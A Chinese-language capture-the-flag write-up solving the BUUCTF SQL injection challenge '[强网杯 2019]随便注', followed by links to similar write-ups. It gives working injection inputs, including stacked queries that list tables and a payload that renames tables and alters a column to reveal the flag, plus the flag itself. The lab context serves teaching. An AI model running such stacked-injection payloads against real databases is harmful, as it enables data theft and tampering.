[强网杯 2019]随便注 1

2024-05-04 00:49:02

题目[强网杯 2019]随便注 1

题目来源:https://buuoj.cn/challenges#[%E5%BC%BA%E7%BD%91%E6%9D%AF%202019]%E9%9A%8F%E4%BE%BF%E6%B3%A8

分析过程:

进入靶场出现如下页面

判断是否存在注入，注入是字符型还是数字型
输入1'发现不回显，显示错误1064
输入1' #显示正常
初步判断存在sql注入
输入1' or '1'='1,正常回显，初步判断该注入为字符型

输入1' order by 1#和1' order by 2#,都正常回显

输入1' order by 3#,显示报错1054

查看字段

输入1' union select 1,2#，显示了一个正则过滤规则，select，update，delete，drop，insert，where 和 . 被过滤掉了

根据上述尝试使用堆叠注入

查询数据库1';show databases;#,成功回显，回显如图

回显说明该注入点确实存在堆叠注入

查询表名1';show tables;#,回显如图

得到两个表1919810931114514和words

查询字段

输入1'; show columns from 1919810931114514; #,回显如图

输入1'; show columns from words; #,回显如图

查看两个表，发现在1919810931114514表中中有我们想要的flag字段

我们可以发现，该注入点只能回显出words字段中的内容，我们可以尝试使用alert和rename语句，将表1919810931114514改成words，从而获取flag

Payload：1';RENAME TABLE `words` TO `wordstemp`;RENAME TABLE `1919810931114514` TO `words`;ALTER TABLE `words` CHANGE `flag` `id` VARCHAR(100) CHARACTER SET utf8 COLLATE utf8_general_ci NOT NULL;show columns from words;#

发送请求，回显如图

接着输入*1' or '1'='1 #*查询获得flag

flag：flag{492f055b-4ba3-4810-b1c2-74c8d3a85568}

[强网杯 2019]随便注 1相关推荐

BUUCTF Web [强网杯 2019]随便注
「作者主页」:士别三日wyx 此文章已录入专栏<网络攻防>,持续更新热门靶场的通关教程「未知攻,焉知收」,在一个个孤独的夜晚,你完成了几百个攻防实验,回过头来才发现,已经击败了百分之 ...
[强网杯 2019]随便注 —— 堆叠注入
[强网杯 2019]随便注前言个人观点,若有误请指教解题思路及步骤直接上'引号,结果直接报错了,证明存在sql注入漏洞. 判断当前表 ...
buuctf [强网杯 2019]随便注 1
buuctf web [强网杯 2019]随便注 1 -刷题个人日记小白一个,写给自己看. 打开后是这样. 从题目和内容来看就是一道sql注入题. 输入 1' or 1=1;# 这个#用来注释掉后面 ...
BUUCTF [强网杯 2019]随便注
题目打开环境发现是经典的提交界面老规则还是查询注入点,1 or 1 =1#,1' order by 1#都未出错,但是1' union select 1,2#是出现了错误,发现一些查询语句被过滤了 ...
强网杯 2019]随便注【SQL注入】四种解法
题目简介题目名称:[强网杯 2019]随便注 1 题目平台:BUUCTF 题目类型:Web 考察知识点: SQL注入解题步骤方法一: 首先启动并访问靶机,有一个输入框,随便输入1' or 1 = ...
BMZCTF 强网杯 2019 随便注原理+题解
目录知识点堆叠注入 show语句 mysql预编译过程重点预编译重命名总结知识点堆叠注入堆叠查询注入:堆叠查询可以执行多条SQL语句,语句之间以分号(;)隔开.而堆叠查询注入攻击就 ...
（二）强网杯2019[随便注]
堆叠注入学习(堆叠查询,Stacked Queries) 堆叠注入为攻击者提供了很多控制权,与仅限于SELECT语句的UNION联合查询攻击不同,堆叠注入可以用于执行任何SQL语句. 堆叠注入原理在 ...
[强网杯 2019]随便注 1【SQL注入】解析过程
1.首先启动并访问靶机,有一个输入框,随便输入1' or 1 = 1,测试一下是否存在sql注入. 2.提交后提示error 1064 : You have an error in your SQL ...
BUUCTF-WEB：[强网杯 2019]随便注 1
题目环境:http://de044ac0-9162-4b83-b6a6-8c99ce0efe91.node3.buuoj.cn 打开环境: 尝试注入: 解题思路: 1.先尝试用union联合注入: 第 ...

最新文章

热门文章